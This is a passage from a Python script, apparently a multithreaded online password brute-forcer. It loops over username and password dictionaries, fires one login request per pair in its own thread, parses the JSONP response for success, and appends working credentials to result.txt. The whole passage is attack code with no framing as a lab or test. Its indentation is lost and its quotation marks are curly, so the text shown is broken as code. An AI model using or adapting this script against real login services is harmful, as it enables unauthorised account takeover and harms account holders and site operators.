print(str(r.status_code) + ‘\t’ + str(len(r.text)) + ‘\t’ +
username + ‘\t’ + password + ‘\t’, end=’\t’)
s = re.findall(r’\((.*?)\)’, r.text)
j = json.loads(s[0])
status = j[‘result’]
print(status)
if status == 1:
with open(‘result.txt’, mode=’a+’) as f:
f.write(username + ‘\t’ + password)
if len(r.text) != 2930:
exit(0)

if __name__ == ‘__main__’:
dic_username = dump_username()
dic_password = dump_password()
session = requests.session()
for username in dic_username:
for password in dic_password:
t = threading.Thread(target=brute, args=(session, username, password))
t.start()
time.sleep(0.005)